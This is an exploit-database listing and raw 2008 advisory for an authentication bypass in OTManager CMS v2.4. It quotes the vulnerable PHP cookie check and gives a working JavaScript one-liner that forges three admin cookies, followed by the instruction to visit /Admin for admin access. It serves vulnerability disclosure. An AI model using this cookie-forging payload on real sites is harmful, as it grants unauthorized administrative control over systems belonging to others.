OTManager CMS v2.4 Insecure Cookie Handling Vulnerability

vendor:

OTManager CMS

by:

Virangar Security Team

7.5

CVSS

HIGH

Insecure Cookie Handling

613

CWE

Product Name: OTManager CMS

Affected Version From: 2.4

Affected Version To: 2.4

Patch Exists: YES

Related CWE: N/A

CPE: a:otmanager:otmanager_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

OTManager CMS v2.4 Insecure Cookie Handling Vulnerability

OTManager CMS suffers from insecure cookie handling, when a admin login is successful the script creates a cookie to show the rest of the admin area the user is already logged in. The bad thing is the cookie doesn't contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin.

Mitigation:

Ensure that cookies are properly encrypted and validated before being used.

Source

Exploit-DB raw data:

  ###################################################################################
  #                                                                                 #
  #      ...:::::OTManager CMS v2.4 Insecure Cookie Handling Vulnerability ::::.... #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
OTManager CMS, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if ($_COOKIE['ADMIN_Hora'] != '' and $_COOKIE['ADMIN_Logado'] == 'SIM' and $_COOKIE['ADMIN_Nome'] != ''){
header('Location: ADM_Pagina.php'); // redirect to admin area

---
exploit:
javascript:document.cookie = "ADMIN_Hora=1; path=/"; document.cookie = "ADMIN_Logado=SIM; path=/"; document.cookie = "ADMIN_Nome=1; path=/";
-----
now visit /Admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-27]